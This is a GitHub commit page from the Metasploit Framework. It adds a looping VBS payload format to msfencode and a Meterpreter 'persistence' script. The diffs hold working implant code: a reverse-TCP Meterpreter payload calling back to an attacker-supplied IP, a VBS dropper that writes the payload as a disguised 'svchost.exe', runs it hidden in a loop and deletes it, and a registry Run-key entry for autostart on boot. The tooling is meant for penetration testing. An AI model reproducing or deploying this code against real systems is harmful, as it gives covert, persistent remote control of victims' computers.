Permalink
Browse files

Fixes #386. Adds a persistent VBS payload option (keep running the pa…

…yload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:

meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information...
1 parent 5524e9a commit 15e39e95db7be1aa2feee215d0058b968be3d9cd HD Moore committed Oct 19, 2009
Showing with 181 additions and 19 deletions.
  1. +34 −14 lib/msf/util/exe.rb
  2. +31 −5 msfencode
  3. +116 −0 scripts/meterpreter/persistence.rb
View
@@ -256,41 +256,61 @@ def self.to_win32pe_vba(framework, code)
to_exe_vba(to_win32pe(framework, code))
end
- def self.to_exe_vbs(exes = '')
+ def self.to_exe_vbs(exes = '', persist=false, delay = 5)
+
exe = exes.unpack('C*')
vbs = ""
- var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
- var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
- var_func = Rex::Text.rand_text_alpha(rand(8)+8)
- var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
- var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
- var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
-
+ var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_fname = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_func = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
+ var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
+
vbs << "Function #{var_func}()\r\n"
- vbs << "#{var_bytes} = Chr(&H#{("%02x" % exe)})"
+ vbs << "#{var_bytes} = Chr(&H#{("%02x" % exe[0])})"
- 1.upto(exe.length) do |byte|
+ 1.upto(exe.length-1) do |byte|
vbs << "&Chr(&H#{("%02x" % exe[byte])})"
end
vbs << "\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
- vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(\"#{var_fname}.exe\")\r\n"
+ vbs << "Dim #{var_tempdir}\r\n"
+ vbs << "Dim #{var_tempexe}\r\n"
+ vbs << "Dim #{var_basedir}\r\n"
+ vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
+
+ vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
+ vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
+ vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
+ vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
- vbs << "#{var_shell}.run(\"#{var_fname}.exe\")\r\n"
+
+ vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
+ vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
+ vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
vbs << "End Function\r\n"
+
+ vbs << "Do\r\n" if persist
vbs << "#{var_func}\r\n"
+ vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
+ vbs << "Loop\r\n" if persist
+
end
- def self.to_win32pe_vbs(framework, code)
- to_exe_vbs(to_win32pe(framework, code))
+ def self.to_win32pe_vbs(framework, code, persist=false, delay = 5)
+ to_exe_vbs(to_win32pe(framework, code), persist, delay)
end
# Creates a .NET DLL which loads data into memory
View
@@ -19,7 +19,7 @@ $args = Rex::Parser::Arguments.new(
"-i" => [ true, "Encode the contents of the supplied file path" ],
"-m" => [ true, "Specifies an additional module search path" ],
"-a" => [ true, "The architecture to encode as" ],
- "-t" => [ true, "The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba)" ],
+ "-t" => [ true, "The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba, vbs, loop-vbs)" ],
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-s" => [ true, "The maximum size of the encoded data" ],
"-e" => [ true, "The encoder to use" ],
@@ -86,7 +86,7 @@ arch = nil
badchars = ''
space = nil
encoder = nil
-fmt = "c"
+fmt = nil
input = $stdin
options = ''
delim = '_|_'
@@ -118,7 +118,7 @@ $args.parse(ARGV) { |opt, idx, val|
when "-s"
space = val.to_i
when "-t"
- if (val =~ /^(perl|ruby|raw|c|js_le|js_be|java|exe|elf|vba)$/)
+ if (val =~ /^(perl|ruby|rb|raw|c|js_le|js_be|java|exe|elf|vba|vbs|loop-vbs)$/)
fmt = val
else
$stderr.puts(OutError + "Invalid format: #{val}")
@@ -137,6 +137,14 @@ $args.parse(ARGV) { |opt, idx, val|
end
}
+
+if(not fmt)
+ pre,ext = output.split('.')
+ if(ext and not ext.empty?)
+ fmt = ext
+ end
+end
+
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create(
:module_types => [ Msf::MODULE_ENCODER, Msf::MODULE_NOP ]
@@ -225,7 +233,25 @@ case cmd
File.open(output, "wb") do |fd|
fd.write(vba)
end
- end
+ end
+ when 'vbs'
+ vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw)
+ if(not output)
+ $stdout.write(vbs)
+ else
+ File.open(output, "wb") do |fd|
+ fd.write(vbs)
+ end
+ end
+ when 'loop-vbs'
+ vbs = Msf::Util::EXE.to_win32pe_vbs($framework, raw, true)
+ if(not output)
+ $stdout.write(vbs)
+ else
+ File.open(output, "wb") do |fd|
+ fd.write(vbs)
+ end
+ end
else
if(not output)
$stdout.print(Msf::Simple::Buffer.transform(raw, fmt))
@@ -239,7 +265,7 @@ case cmd
exit
rescue => e
- $stderr.puts(OutError + "#{enc.refname} failed: #{e}")
+ $stderr.puts(OutError + "#{enc.refname} failed: #{e} #{e.backtrace}")
end
}
@@ -0,0 +1,116 @@
+#!/usr/bin/env ruby
+
+#
+# Meterpreter script for installing a persistent meterpreter
+#
+
+session = client
+
+#
+# Options
+#
+opts = Rex::Parser::Arguments.new(
+ "-h" => [ false, "This help menu"],
+ "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
+ "-p" => [ true, "The port on the remote host where Metasploit is listening"],
+ "-i" => [ true, "The interval in seconds between each connection attempt"],
+ "-X" => [ false, "Automatically start the agent when the system boots"],
+ "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"]
+)
+
+#
+# Default parameters
+#
+
+rhost = Rex::Socket.source_address("1.2.3.4")
+rport = 4444
+delay = 5
+install = false
+autoconn = false
+##
+
+#
+# Option parsing
+#
+opts.parse(args) do |opt, idx, val|
+ case opt
+ when "-h"
+ print_status(opts.usage)
+ return
+ when "-r"
+ rhost = val
+ when "-p"
+ rport = val.to_i
+ when "-i"
+ delay = val.to_i
+ when "-X"
+ install = true
+ when "-A"
+ autoconn = true
+ end
+end
+
+#
+# Create the persistent VBS
+#
+
+print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
+pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
+pay.datastore['LHOST'] = rhost
+pay.datastore['LPORT'] = rport
+raw = pay.generate
+
+vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, true, delay)
+print_status("Persistent agent script is #{vbs.length} bytes long")
+
+
+#
+# Upload to the filesystem
+#
+
+tempdir = client.fs.file.expand_path("%TEMP%")
+tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
+fd = client.fs.file.new(tempvbs, "wb")
+fd.write(vbs)
+fd.close
+
+print_status("Uploaded the persistent agent to #{tempvbs}")
+
+#
+# Execute the agent
+#
+proc = session.sys.process.execute("wscript #{tempvbs}", nil, {'Hidden' => true})
+print_status("Agent executed with PID #{proc.pid}")
+
+#
+# Setup the multi/handler if requested
+#
+if(autoconn)
+ mul = client.framework.exploits.create("multi/handler")
+ mul.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
+ mul.datastore['LHOST'] = rhost
+ mul.datastore['LPORT'] = rport
+ mul.datastore['ExitOnSession'] = false
+
+ mul.exploit_simple(
+ 'Payload' => mul.datastore['PAYLOAD'],
+ 'RunAsJob' => true
+ )
+end
+
+#
+# Make the agent restart on boot
+#
+if(install)
+ nam = Rex::Text.rand_text_alpha(rand(8)+8)
+ print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+ key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)
+ if(key)
+ key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
+ print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+ else
+ print_status("Error: failed to open the registry key for writing")
+ end
+end
+
+

0 comments on commit 15e39e9

Please sign in to comment.